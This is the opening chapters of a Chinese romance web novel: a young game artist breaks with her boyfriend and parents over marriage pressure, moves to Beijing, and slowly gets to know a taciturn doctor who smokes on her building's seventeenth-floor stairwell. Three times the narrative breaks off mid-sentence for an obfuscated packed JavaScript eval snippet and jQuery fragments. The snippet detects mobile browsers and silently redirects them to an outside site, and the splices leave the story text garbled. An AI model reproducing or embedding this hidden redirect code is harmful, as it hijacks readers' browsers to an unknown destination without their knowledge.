《难道我受不起这个热吻?》
1. 她的这颗心还在跳动着呢
四月底,哪怕是在在接近下午六点的时间,窗外也依然是明亮的。
暮色的来临,会在春夏走向秋冬中,由矜持转向奔放。
这是季节变换的魅力所在。
但黄转青看着外头天光镀金,只觉得天光在这个季节会很疲惫,死不尽,甩不脱。
再看着电脑右下角的时间,17:58,还有两分钟,五一假期就正式开始。
趁着这会儿,她去打印机那边打份材料。
办公室里一整个下午没有人专注于工作。
此刻临近下班点,逐渐开始有行李箱轮子滑动的声音、同事间道别的笑声、敲击键盘的收尾声。
她的手机屏幕上跳动起母亲打来的电话。
黄转青接起电话,母亲的声音永远爽利:“青青,下班了没?车票买好啦?你爸今天特意去买了你爱吃的小管,等你回来!对了,小林呢?叫他一起回来吃饭啊!家里好久没热闹了!”
“妈,他可能有事。”黄转青推脱。
但母亲那头已经自顾自地安排开:“有什么事比回家吃饭重要?就这么定了!你喊他,我锅里还炖着汤呢!”
电话挂断,没给她留反驳的余地。
母亲口中的小林是她的男友。大学同学,相恋三年。
以前明媚如厦门夏天透亮的阳光。
现在这光被层层滤过,光还是光,只是她看不太清。
回家的车上,窗外的风景飞速倒退。
男友坐在她旁边,安静地看着手机。
黄转青看着他的侧脸,还是那副温和斯文的模样。
二人之间默契依旧,但有的只剩默契,好像难再找到亲密。
难找到吗?
男友察觉到她的目光,转过头笑了笑,自然地握住她的手。黄转青也回以微笑。
似乎也不难找到。
但是有些距离,不是靠物理上的靠近就能缩短的。
她包里有张打印纸,来自北京一家游戏公司的Offer,是她所求。
投递简历前还和小林一起整理自己的作品集,但现在,这个好消息不一定能带来好心情。
去北京,意味着什么?
她还没想好怎么开口。
家里的饭桌是战场与港湾的混合。
气氛一直还算融洽,直到父亲放下筷子。
“小林啊,”父亲的声音带着长辈特有的高姿态,“你和青青年纪也到了该成家立业的阶段。趁着五一假期,我们两家是不是该正式坐下来,好好规划一下你们的人生大事?”
二人也才毕业一年。
小林显然也毫无准备,脸上温和的笑容都要挂不住。
这短暂的沉默在父母眼中成了犹豫和推诿。
母亲立刻语气带上不满:“是啊,小林,青青都二十二三了,女孩子青春耽误不起的!你们这样拖着算怎么回事?”
父亲也沉下脸。
这是不止针对男友一个人的施压,黄转青很明白,但她硬是不说话。
父亲的矛头就指向她:“青青,你那工作怎么样?听说互联网公司不太景气?动不动就裁员?”
母亲接腔,语气是用关心做幌子的否定:“那种私企,看着工资高一点,但一点都不稳定。今天不知道明天的事。你看小林在国企多好。你一个女孩子,这么拼命图什么?”
她心疼地给黄转青夹了一筷子菜。
“听妈一句劝,趁早换个安稳的?以后有了孩子也好顾家。小林父母上次不也提过吗?觉得女孩子工作太忙太累,不利于家庭和谐。”
黄转青在一家颇有名气的游戏公司做原画,外人看来光鲜有趣,实则压力巨大。
小林的父母的确含蓄表达过:总得有个重心在家庭的人。
她心知肚明,在所有人的剧本里,那个人只能是自己。
母亲打了一巴掌,决定要给个甜枣:“你大学画的那几张花花草草,妈看着也喜欢,可那能养活你自己吗?幸好听了爸妈劝,才没往那条歪路上走,现在这个至少算是个正经公司的工作。”
黄转青看向小林,小林却只是端起水杯喝了一口。
母亲不满:“都不说话什么意思!你们总得有个明确的方向吧?”
黄转青胸口不太舒服,知道风暴必须由自己掀起。
“爸,妈,有件事要跟你们说。我收到一份北京的新工作Offer,假期结束我就会去报到。”
“北京?”母亲最先反应过来“去那么远干什么?你现在的公司不是挺好的吗?跑那么远,人生地不熟的!”
父亲语气严厉:“你在厦门好好的,跑去北京图什么?压力多大你知道吗?租房多贵?你一个女孩子。”
“图前途。”
“前途?女孩子要什么前途?安安稳稳才是福!”
“我为什么不能有前途?为什么不能追求更好的职业发展?为什么?”黄转青寸步不让。
看正面交锋上压不住女儿,母亲转向沉默的小林:“小林!你倒是说句话啊!要我说,趁现在,先把婚结了!先成家再立业。”
压力转移到小林身上。黄转青的心也提起。
“确实,成了家,大家也能互相有个照应。”
小林说完,黄转青的心就放不下了。
“这才像个有担当的男人说的话!”父亲拍板。
母亲也如释重负,仿佛已经看到了女儿迷途知返的未来:“就是!小林这话在理!小林多为你着想!听我们的,先把婚结了,安安心心的,以后你想做什么,我们也不拦你!”
饭桌上的气氛因为小林的站队而和谐起来。
父母开始兴致勃勃地讨论起婚期、酒店、彩礼。小林也适时点头附和,偶尔偷眼看向黄转青,眼神里带着安抚。
黄转青看着这场关于她人生的谈判在她眼前达成共识。
小林承诺得如此轻易,却从未问过她一句“你愿意吗?”
他默认了双方父母的看法,认为她的工作是需要被“解决”的问题,不是值得尊重和支持的事业。
小林是个世俗意义上的好人。黄转青从不否认这一点。
他会在父母唠叨她工作时,象征性说一句“青青有分寸的”;
会在她偶尔抱怨工作压力时,说“别太拼了”;
他不反对父母,也默许了他们对黄转青工作的贬低;
他的支持流于表面,从未真正站在她的立场。
这份
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190002|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好里,掺杂息事宁人的妥协,以及一种“我已经在包容你了”的隐晦优越。
他不是沉默的旁观者,不是潜在的战友。
他早就是传统阵营里的一员。
黄转青低着头,心脏在胸腔里跳动。
是啊,她的这颗心还在跳动着呢。
“我不同意结婚。五一过完我就会去北京。”
说完黄转青就下了饭桌。
“你们慢吃。”
没谁能真的继续慢慢吃,不欢而散。
晚上,小林约她在楼下见面,说:“你这么态度坚决,是做好了要跟他们长期斗争的准备吗?”
这句话,是一个转折点。劈开了黄转青眼前的迷雾。
长期斗争?
为什么?
要为了这份工作、这点自主权,去跟父母男友进行长期斗争?
何必把人生耗在对抗上?直接换赛道更高效吧。
明明还有一条更直接的路。
“我们分手吧。”
离开厦门的过程,快得像一场逃亡。
辞职手续快速走完,因为黄转青拒绝了加班,所以公司都没按照流程多拖她一个月,三天就让她走人。
打包行李只用了一天,她只带走了真正属于她的东西,所有承载着共同回忆的物品,被她像处理伤口上的腐肉般毫不留情地丢弃或捐赠。
父母的劝阻电话被她一次次挂断,最终沉默。
收拾完行李后寄往了北京。
离开前,她只回了一趟奶奶家。
前几天,奶奶在电话里说:“青青啊,我今天出去街上买白糖,行啊行,行到街尾,却不记得要买什么了,空手回家,还差点迷路。”
声音带着孩子般的困惑。让黄转青心酸。
承诺道:“奶奶,我五一放假就去看你。”
奶奶家在老城区,离海很近。
黄转青蹲在奶奶膝前,握住她的手,决定坦白:“奶奶,我要去北京工作了。”
“北京?”奶奶重复,努力理解地理概念。
但很快,反手抓住黄转青的手腕:“去那么远干什么?青青!留在家里,外面不好!家里好!”
小孩一样的的依赖、和老人对未知远方的恐惧,二者交织。
这是黄转青意料之外、却又情理之中的阻碍。
她无法轻易推开这双紧紧抓住她的手。只能更用力地回握住。
“奶奶,别激动,先坐会儿,我去屋里喝口水。”
她需要一点空间。
背靠着关上的房门,海风从半开的窗户吹进来。
墙上挂着一幅小小的的画。是几株大多肉,用色清新。
是她高中去植物园写生时画的。
现在被奶奶保存,挂在卧室的墙上。
奶奶蹒跚地挪了进来,忘记了刚才的激动,也看向墙上那幅画,指着画说:“你画得多好呀。”
黄转青点点头:“是很久以前画的了。”
走出奶奶家,黄转青从包里掏耳机,看到那张被她打印出来,但最终没能用上的offer。
将它折成了一只尖头的纸飞机,手臂舒展,用力一掷。
射向了海的方向。
2. 固定的意外
两天后,站在北京租住的房子脚下,黄转青仰头,试图捕捉属于自己的十九楼窗口。
脖子有点酸。
头顶上方传来轰鸣。她循声望去,一架飞机展翅而过,拖着两条气流,像是凝固的伤痕。
飞机射向东南。
头也不回,姿态决绝。
游戏原画师?听起来挺酷吧。
但对黄转青而言,这就是一场永无止境的挨打游戏。
领导心思难猜,项目进度脱缰。
她感觉自己像个被抽打的陀螺,晕头转向,停不下来。
工作时间无法控制,下班时间无法控制,工作内容更无法控制。
她永远是被动跟随转动的那个。
唯一能攥在手里,试图证明我还能控制点什么的,就剩下这具身体。
这个念头在她对着镜子,看到自己略显浮肿的脸和因久坐而堆积在腰腹的肉时,恰如其分地跳出来。
像健身房那种需要额外挤出时间和金钱的方式,对她这种被榨得一滴不剩的人来说,显得奢侈而不惜命。
她需要一个简单又不占太多时间,几乎零成本又能切实感受到身体变化的方式。
目光落在了自己家这栋楼,走到窗边,俯视下去。街道是一条发光的粗线,车流是线上爬行的小虫。离地面很远,离那些想摆脱的东西……似乎也没真的摆脱。
但就是它了。
一级级向上爬的楼梯,成了黄转青向这生活无声挥出的拳头。
公司的方寸工位,和那个小小的家,一早一晚对立。
一个习惯就这样诞生:无论多晚下班,只要不是累到虚脱,她都会在踏入单元楼的大门后,推开消防门走进楼梯间。
定下这个目标后,黄转青再看十九楼,那感觉已经不像是在看家了,是在仰望一个目标。
最初的几次都一口气爬不到五层,呼吸也痛痛的。
但她咬着牙,一级再一级。她需要这种主动施加的疲惫,来对抗那种被生活被动的消耗。
一个月后,成效初显。体重秤上的数字诚实地下降了2公斤。腰间的束缚感减轻,爬楼梯本身也不再那么令人绝望,她开始能一口气爬到十层。
这纯粹由自己意志驱动的行为,成了她一个重要的心理支点。
那就继续爬呗。没道理不继续。
只是楼梯间并非总是只有她一个人。总会撞见一些意外。
最固定的意外出现在十七楼。
黄转青第一次看到他时吓了一跳,差点一脚踩空。一个沉默的黑影靠在墙边,烟雾缭绕。
呼吸都屏住了,她做好了对方也会被惊扰的准备。
但那个男人只是抬了下头。
楼道的光线很暗,黄转青看不清他的脸,只隐约感觉那目光在她身上停留得极其短暂,没有任何惊讶或被打扰的不适。
他又迅速低下头,纯粹就是确认了下声音来源。
黄转青硬着头皮继续往上走。经过他身边时,那个男人很自然地侧过身,将夹着烟的手笼在身前,避开了几步。动作很随意,带着礼貌和边界感。
这一个月,黄转青拢共只在十七楼碰见过他五次。
时间不固定,有时他刚点燃烟,有时烟已快燃尽。
但每次相遇的模式都一致:她的脚步声在楼梯间由远及近,他抬头看一眼,迅速低头,侧身避让,笼着烟。
没有任何交流。甚至连眼神的交汇都不再有。
黄转青不知道他是谁,像一个设定好的NPC,只在特定的刷新点出现。
但这五次偶然的交汇,在黄转青高度重复的生活里,荡出了一点点微妙的涟漪。他的存在本身,成了一种非刻意的参照物。
生活像黄转青爬楼梯一样,一级一级地向上挪动。
这天当她的脚步踏上十七楼那个熟悉的转角平台时,发现靠墙的位置放着一把椅子。
崭新的白色塑料椅,在昏暗里白得有点发黄。它不算小,大剌剌地靠墙杵着,占掉了本就狭窄的转角不小的地盘。
楼道空无一人,声控灯逐渐暗下去。
黄转青站在原地,打量着这把突兀出现的椅子。
谁放的?为什么放在这里?
物业?不太像。
清洁工?似乎也没必要。
她的目光扫过那个男人常站的位置:“不会是他放的吧?”
她自己都觉得有点荒谬。放把椅子在这昏暗的楼梯间干什么?
他自己想坐着抽?感觉也不像啊,他总是一种赶紧抽完赶紧走的感觉。
供人歇脚?算了吧这个更没可能……
好奇心还是占了上风。
黄转青特意用手机手电筒仔细照了照那把椅子。
很普通的白色塑料椅,但椅腿内侧贴着一张小小的蓝色标签,上面印着一张广告帖纸一样的东西,有模糊的字迹和一个电话号码,像是某个公司的财产。
她试着回忆,这几天好像确实有听到楼道里有搬东西的声音……大概是谁搬家落下的。
经过椅子时,她也侧身让了一下。
这地方本来就窄,放了椅子更碍事。
回家后和奶奶打电话时,还提到这把椅子。
奶奶不怎么感兴趣这些。只关心她吃得好不好,睡得好不好。
看奶奶的那天,奶奶问:什么时候走呀?”
黄转青看着奶奶的眼睛,试图分辨那里面是遗忘,还是别的什么。
轻声反问:“你不是说不要我走吗?”
“我不要你走,你就不走吗?”
奶奶伸出手,不是抓住她,而是轻轻拍了拍她——这个迷惘的孩子。
“青青,你要听你自己的话呀。”
公司项目临近交付节点,黄转青这天加班到快十点,爬到十七楼时几乎是拖着脚。
声控灯应声亮起,那个熟悉的身影也在。
黄转青的目光掠过他,不可避免地又看到了那把空椅子。他站着,椅子也站着。果然不是他放的。
她继续抬脚往上走,在她快要经过男人身边时,他像往常一样向旁边侧身,想要给她让出更宽的路。
但他忘了那把椅子。
叼着烟,侧身的幅度不小,塑料椅被撞得歪斜,他整个人猛地向旁边趔趄了一步。
完全是出于本能,黄转青脱口而出:“小心!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190003|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
她的声音在封闭的楼道里显得格外响亮,这声提醒和椅子被撞倒的声音同时响起,形成了双重刺激。
男人显然被这状况和她那一声喊惊到,但他反应快,一只手撑住了旁边的墙壁,虽然动作有些狼狈,但终究没摔倒。
声控灯忠实地照亮了这个的意外现场。
好了,黄转青再也不能假装没看见了。
她停下脚步看向那个男人。男人也正抬起头,脸上带着错愕和尴尬,但很快恢复如常,换上一副冷淡表情。
这是黄转青第一次清晰地看到他的脸。
他的年纪看起来和她相仿,或许略大几岁。
轮廓分明,鼻梁很高,下颌线清晰,长得不赖。最显眼的是唇上和下巴一圈新冒出的青色胡茬,这副不修边幅的样子,和他夹着的烟很相配。
黄转青不是那种扭捏的人,尤其是在这种有点荒诞的意外之后。
她指了指他手里的烟,又指了指他刚才避让的位置,大大方方开口:“就这么一点时间,我不介意烟味的,真不用特意避开。你看,这地方本来就窄,万一下次真摔到那可就麻烦了。”
她说完,带着点笑意看着他,等着反应。
男人没料到她会打破这保持了许久的互相当空气的默契。目光从地上的椅子移到她的脸上。
表情实在太冷淡。在黄转青看来,像是觉得她多管闲事,又像是单纯被这突如其来的对话打乱了节奏。
就在这时声控灯再次灭了。眼前昏暗。黄转青站在原地有点无奈。这破灯!
她看不到男人的表情,只看到那个小小的属于烟头的红点,在她前方不远处上下起伏了几次。
那动作很轻微,像是在点头。
过了几秒,一个仿佛很久没怎么说话的声音传来:“知道了。”
又似乎觉得太生硬,勉强补了个字,“嗯。”
黄转青觉得这反应有点别扭啊。
明明点头了,嘴上还不情不愿的。她几乎能想象出他刚才在黑暗中点头的样子。
“行,那我上去了。”她不再停留。
男人看着那把翻倒的白色塑料椅,“啧”了一声。弯腰把椅子扶正时,就看到了掉落在椅子旁边的工牌。
“黄转青?”他这回的声音也不算小。
“欸——!你叫我?”黄转青在十八楼的楼梯处往下趴着看。
不敢置信,他怎么知道自己名字啊!
“这个是你的。”他这回开口没有问意,非常笃定。
黄转青再看。
那个男人摊开的手掌心里,静静躺着她的蓝色工牌,上面印着她的名字和模糊的照片。
他看着她,眼神依旧冷淡。
“……”
黄转青愣住。左右摸了摸口袋,真的掉了。
“是我的!”
她反应过来,连忙跑下楼,双手去接,指尖不可避免地擦过他的掌心。
干燥,微凉,有茧。
男人在她拿走工牌的瞬间就迅速收回了手,插回裤兜,目光也移开。
黄转青看着他这副样子没再多说,只是真诚地到些:“谢谢你!那我上去啦。”
3. 你的猫现在在我手上
第二天是周五。黄转青被文案组的虞鱼硬拉去宠物医院。
下午虞鱼在公司楼下发现一只小橘猫,叫声细弱。虞鱼云养猫多年,此刻心被击中,当即宣布:“缘分到了!”
下班后黄转青就被抓了壮丁,陪这位新晋铲屎官来附近的医院做个小猫的入户体检。
推开门,大厅里面只坐着一个人,使得黄转青一眼就看见了,是十七楼那个他。
他穿着件深灰色的连帽卫衣,头发略显凌乱。
世界真小,黄转青心里嘀咕了一句。想到昨晚楼梯间的破冰,觉得至少算个脸熟的邻居了?犹豫要不要打个简单招呼,男人似乎感觉到了注视,抬起了头。
四目相对。
他的视线在她脸上停留了最多一秒,马上重新看向手机屏幕。
姿态明确:不熟,请勿打扰。
这种态度会让敏感的人觉得有一些屈辱。
黄转青心脏腾空一瞬,人也好像悬浮了一秒。什么意思?昨晚楼梯间点头的是谁?现在这副拒人千里之外的脸是演给谁看?
虞鱼在前台登记,没注意到这边。黄转青也收回目光,开始面无表情。不就是装吗?谁不会似的。她走向虞鱼。
登记完毕,虞鱼要带小橘去免疫室等待。一个穿着冲锋衣的男人急匆匆走到前台,把手里的单子递过去:“您好,我结账!”
说完就转过身,再冲着大厅候诊座位那边,“周桨鸣!你丫还坐得住呢?赶紧的吧!好歹你们也好过,现在人都快不行了,一个大小伙子躺病床上哭成那样,你就真狠得下心连看都不去看一眼?!”
信息量巨大的几句话,让黄转青和虞鱼同时竖起耳朵,摆出专业吃瓜的状态。黄转青还是不够专业,她没忍住,飞快地侧头看一眼主角。
周桨鸣依旧坐在那里,只是没再看手机,表情严肃。冲锋衣男人的话显然对他是有力度的。
见他不为所动,更急:“那肥猫做个绝育手术还得等半小时呢!做完还得观察!我在这儿替你守着行不行?算我求你了,赶紧去!再磨蹭真来不及了!你想想清楚,别到时候人没了,你午夜梦回哭成狗,我可没空听你哭丧!”
前台的工作人员都忍不住侧目。
周桨鸣这下抬起头看过来了:“你有病吧。”
骂得硬气,但骂完之后,又像是某种决心终于被催逼出来。他看了朋友一眼,没说话,摇了摇自己手里的手机,示意保持联系。掠过黄转青,推门就走。
风波暂歇。虞鱼的小橘猫进去做检查。黄转青在外面等待,坐在大厅。大厅里就两个座位,她刻意没坐周桨鸣坐过的那一个。
大约过了十几分钟,冲锋衣男人的手机响起来。他接起电话,刚喂了一声脸色就变了。
“姥姥来了?啥时候来的?怎么就让她一个人上高铁啊,也没人陪着吗?小姨去哪儿了?她怎么不跟着啊。行吧我马上过去!”
真有意思,别人找妈,你找姨。合该着家里男人是从上到下都死绝了呗?黄转青面色不虞,想着周桨鸣的朋友也是跟他一样,人都很一般。
冲锋衣挂了电话又靠近到前台,语无伦次:“医生!护士小姐!我朋友的那只奶牛猫能不能麻烦你们帮忙照看一下?我晚点就会过来,现在有急事要走。”
前台为难:“先生,手术应该快结束了,但术后还需要观察至少半小时到一个小时。我们一会儿要交班,人手有点紧张,可能没办法专门派人守着……”
“这怎么办?”冲锋衣六神无主,“我姥姥现在电话没电了,完全联系不上人……”
“我替你看着吧。”黄转青走了过来,她这会儿的表情倒是很镇定,因为想到了自己的奶奶。
“明天周末,我没什么事。我认识周jiangming,他就住我楼上。不信的话,你可以微信问他一下。”
她其实不知道具体是哪两个字,只能模仿着发出那几个音。
冲锋衣愣住,看着黄转青长相斯文,神态温柔,绝不像个坏人。而自己眼下火烧眉毛,姥姥那边情况不明,他实在没有更好的选择。
“太谢谢你了妹子!”他掏出手机,“这样,咱俩加个微信。我再把周桨鸣的电话给你!你跟他联系联系。万一猫有什么紧急情况,或者我这边耽搁太久,你就直接打他电话,他应该能赶回来!”
“行,猫交给我,你放心去吧。姥姥比较重要。”黄转青点点头,语气让人安心。
“哎!好!太感谢了,回头请你吃饭!对了你东西落在座位上了,别掉了!”冲锋衣千恩万谢完,看见那边座位上有个蓝色的小东西,想必是这姑娘的。
黄转青转头一看,好家伙,又是自己工牌……看出来自己潜意识是非常不喜欢工作了。
过去捡起来,四四方方的长方形小牌子,右上角有一点磕碰痕迹。
虞鱼抱着做完检查、一切健康的小橘出来,得知前因后果,表示要留下来陪黄转青一起等。
黄转青看着虞鱼怀里那只正用小脑袋蹭人手的小橘,又想到虞鱼家里什么都没准备,便劝:“你先带它回去吧,给它弄点吃的喝的,熟悉环境。这里我一个人就行,又不是什么大事。”
虞鱼想了想也是,临走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190004|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,她想起什么,把从公司薅走的小盆栽塞给黄转青:“我还是不要啦!我养啥死啥,就不祸害它了。你那么会养小花小草的,它还是跟着你好!”
公司里的绿植几乎都是由黄转青在空闲时间关照,这天移栽完一盆保洁阿姨在楼下挖的土人参,剩下的几株拿个陶盆一装,就被虞鱼美滋滋地准备拎回家。
现在黄转青被迫收下这盆土人参。陶盆边缘磕掉了一小块,跟她那枚磕了角的工牌有几分相似。她伸手碰了碰叶片,指尖沾了点湿润的泥土。虞鱼大概是临走前急忙浇了水。
还挺精神。这植物跟她一样,看着普通,倒都还算皮实。
打开手机,看着肖忻——冲锋衣男人,发来的那串数字,复制后点开短信,直奔主题。
“你好,我是黄转青。你应该没忘记我名字吧?你朋友有急事先行离开了,你的猫现在在我手上。”
这条短信,石沉大海。
黄转青都要气笑了,但转念一想,反正也是举手之劳,跟他计较这些干嘛。
猫做完手术出来了,她把手机塞回去,起身过去接过猫包。隔着猫包看那只奶牛猫,小家伙还没醒呢,舌头吐在外面,看着怪可怜的。
没缓多久猫就醒了,动作缓慢,停不下来的抬头又落下。
“不要这么努力了,好好休息。”黄转青戳了戳猫包,“你叫什么名字啊?你主人看着冷冰冰的,对你应该还行吧?”
猫当然不会回她话。
当天晚上是肖忻赶回来替黄转青继续陪小叮当——那只奶牛猫的名字。陪小叮当等周桨鸣来接。
黄转青乐得清闲,她已经对周桨鸣印象差至极点。
肖忻声音压低:“真是对不住啊妹子。你别往心里去。他这会儿心情糟透了,估计手机都没看。我也是才收到消息,他朋友刚去世。”
刚结冰的湖面被凿了个洞,往外不停冒小气泡。
原来如此。她自己也刚经历过一场分手,勉强能够理解。
但毕竟自己的前男友还好好活着,无法完全感同身受周桨鸣这种死了前男友的心情。
“这样啊,”她轻轻应了一声,“那……让他节哀吧。你姥姥怎么样了?”
“嘿!找着了!我把她老人家送回我家了。今天真的太谢谢你了妹子。”
回到家刚找完水喝,黄转青收到一条微信好友申请。
“周桨鸣”三个字简洁地躺在验证消息栏里。头像是小叮当。
她没加。以后二人之间估计也没什么可联系的。
他需要空间舔舐伤口,她也需要清净。
4. 你身体出问题了?
没想到第二天晚上,楼梯间再遇。
黄转青还是犹豫是否打个招呼,但一看周桨鸣和往常一样头都不抬,黄转青又觉心烦,想着这人就是很一般。扭头就走。周桨鸣这才在身后悠悠开口:“为什么不同意我的好友?”
黄转青其实没去关注他说了什么,只听到他开口,那么她就想骂,也确实骂出口:“没礼貌。”
周桨鸣:?
黄转青这才反应过来他说的是什么,有点尴尬,但是理直气壮:“咱俩以后应该没什么交集,没有加好友的必要。”
话一出口她有点后悔。尤其是在看到他脸上不太高兴,无端想起家里那枚放脱水的橙子,才买了四天,忘了吃而已,就干成那样!黄转青每天看着那枚橙子,就想着自己对它好残忍。
而现在自己拒绝一个刚经历巨大悲痛的人,会不会也是太残忍。
黄转青立刻补救。
“我不是那个意思,对不起。我知道你心情肯定不好,你别太难过了。人死不能复生,活着的人总要向前看。我知道说这些很苍白,但……但时间会带着你向好的。真的。你要好好吃饭,好好休息,你那个朋友,”她含糊地带过那个人,“他那么爱你,肯定也希望你过得好好的。他在天上也能感受到你的爱。”
她一口气说完,目光恳切,希望他能感受到安慰。
周桨鸣抬起头,那双有些涣散的眼睛,此刻带着困惑。黄转青的安慰词,饱含情感指向性,像一串乱码,他是一点都看不懂,但只会觉得是不是自己太没文化所以理解错。最终只能胡乱地点了点头。开口,关注点却在另一个:“为什么说我没礼貌?”
黄转青:?
回家后,黄转青犹豫片刻,主动去加了好友。
“稀客。”
黄转青觉得荒唐,这人怎么这么没个正形?刚死了恋人就能这样?
“你好好说话。”
对面不回。
黄转青在窗台处,看着那盆虞鱼昨晚塞给她的土人参。月光温柔地包裹它,也包裹着她。忽然想:这玩意儿对猫没毒?生命力也顽强,给他养吧,看着点生机总归有好处。
她拿起手机拍了一张,把照片发了过去。
“土人参,送你养吧。”
“不要。”
黄转青撇撇嘴,意料之中。屏幕上又跳出了一张图片。画面中央是那只在窗台上的小叮当,趴在那儿晒月光,就是显得闷闷不乐。
黄转青回了个“小猫怎么不开心?”
她伸出手,和猫沐浴同一片月光。
周桨鸣的回复隔了大概两分钟:“太晚了,开始emo了。”
“你要是把土人参带回去养,它就不emo了。猫很喜欢这种植物。”
周桨鸣似乎也觉得有道理,回了个那现在来拿?
黄转青觉得他脑子不正常,说:“明天吧,我放你家门口你自己拿。”
“好,谢谢。1713.”
黄转青也没再回,以为对话就此结束,刚要把手机放下,对话框顶端又显示对方正在输入。这行字持续了好一会儿,终于,一条新消息跳了出来:“十七楼那把椅子是我放的,你坐吧。植物放你自己家门口吧,我明天来拿。免得你多费功夫。”
原来真是他放的,这个行动逻辑真是既直接又曲折。
“好,谢谢。1901.”是在学他。
北京的六月,空气已经先一步开始热起来。黄转青坐在医院里等位,从厦门到北京已经过了一个多月,而月经已经停来了四个月。那点侥幸也没了,她终于抽出一个周末来医院。
诊室里冷气开得很足。
医生也找不出明确原因。
“先调整内分泌,”医生推过处方单,“先调调看吧,压力、作息都可能影响。给你开着优思明,按时吃,观察下个周期。”
黄转青谢过医生,快步离开诊室。药房窗口的队伍缓慢移动。黄转青排在末尾,低头刷着手机。屏幕上跳出那个奶牛猫头像。
“你身体出问题了?”
没称呼,没铺垫。黄转青倒是不会因此不快。
“对。月经出问题了。”
发出去才觉不对。他怎么知道的?黄转青警觉地抬头扫视四周,没看着他。好奇心占了上风,她又追了一句:“你身体也出问题了?”
那边几乎是秒回,带着一种近乎荒诞的坦然:“那倒没有。”
周桨鸣回完,看着对话框里这几条对话,莫名觉得邪门……怎么搞得跟他故意来黄转青面前炫耀一样!
你身体出问题了啊?真可惜。我身体可好着呢,没问题!
明明他腰都快站不直了。
“我身体出不出问题已经不重要了。我就算是死了,院办也得让我用尸体来医院上班。”
黄转青差点在队伍里笑出声,赶紧捂住嘴。笑着笑着,她反应过来了——
“你是医生啊?”
走廊拐角的医生值班室,冷气嗡嗡。周桨鸣坐在椅子上没个人形。灌下口水,白大褂袖子卷到小臂,已经累得像个死人。
刚才他会诊完,抱着病历本往回走,一眼就瞥见黄转青。脚步顿住。想着要不要打个招呼?
念头刚起就被他掐灭,他周桨鸣向来不是个热情主动的人,尤其是在这种涉及隐私的场合。感觉真是太唐突。而且对方可能也不想跟自己这么个半熟不熟的人闲聊。
但是明明认识,碰见了还视若不见,被黄转青知道又要骂自己没有礼貌!好难!
犹豫的几秒,黄转青已经眨眼就消失在拐角。周桨鸣看着她干脆利落的背影都有点不知道说什么好。心里想:走路这么快啊,这爬楼梯还真是给她练出来了。
周桨鸣心生佩服。
回到值班室,电脑屏幕上是患者信息,脑子里却晃过她刚才皱着眉头的样子。出什么事儿了这么愁,不会真碰上什么疑难杂症了吧?周桨鸣一边想着刚才妇科那边是哪个医生当班,一边鬼使神差就发了那条问候。
发完他自己都无语,这问的什么玩意儿?
这样显得自己太蠢了,想撤回来着,结果已经显示对面正在输入。既然是已经看到了的消息,就没什么撤回的必要了。
好在她的回复直截了当。看到“月经出问题了”几个字,他心里倒是落了地,不是什么更棘手的就好。
“你是医生啊?”
他手指摁字都累,艰难:“嗯。正好轮转到妇科。”
觉得太干,又补一句:“刚看到你了,走路带风,没来得及喊。”
药房窗口终于到黄转青。她递进单子。
手机又震。
“药拿了?”
“嗯,刚拿到。”
“按时吃。别熬夜。”很官方的叮嘱。
她低头打字:“知道了,周医生。”
发完她转身往外走,大厅的嘈杂扑面而来,脚步却比来时轻快。
值班室里,周桨鸣放下手机。桌上厚厚一摞病历等着处理。冷风吹得他头痛。旁边的奶茶已经被他嘬完。他端起角落里已经被捏得有点变形的空纸杯,走到饮水机前接了杯热水,吹了吹喝了一口。
十九楼的台阶一级一级向上叠。黄转青深陷游戏项目的泥潭,工位上两个显示器,线稿张牙舞爪,画的时候倒是很爽,现在上色了那些细节令人窒息。
揉了揉发胀的太阳穴,视线从屏幕移开落在窗台上。她的工位最靠里,和玻璃窗紧挨,独享一片大窗台。公司的保洁阿姨喜欢这姑娘,也就知道了这姑娘喜欢绿植,跟黄转青请教过好几回绿植怎么养护。阿姨也是爱花花草草的人士。久而久之这个窗台上放了许多小盆栽。一盆盆植物在六月明亮的阳光下舒展。
铜钱草圆润青翠,绿萝悬垂。还有盆中岩,这简直是开花机器!
虞鱼每天都要过来欣赏一下这红艳的花朵,啧啧惊叹。连让黄转青头秃的主美都悄没声的来过——她还是看到主美的朋友圈九图里有三张都是这盆中岩才发现的!
新抽的嫩叶鲜亮,她伸出手指碰了碰叶尖,想到了送给周桨鸣的那一盆绿植。
下班后依然爬楼回家,这天没碰到周桨鸣。
她一边给碗蕨添水,一边对着它抱怨工作,黄金纽像烟花一样绽放,还轻轻晃了晃,像是点头。
“还是你最好。”她戳了戳花瓣,心情莫名好了点。目光扫过架子上那盆金景天——不对劲。前几天还好好的,饱满紧凑的叶片,怎么今晚看着有点稀疏,像主美的头发。
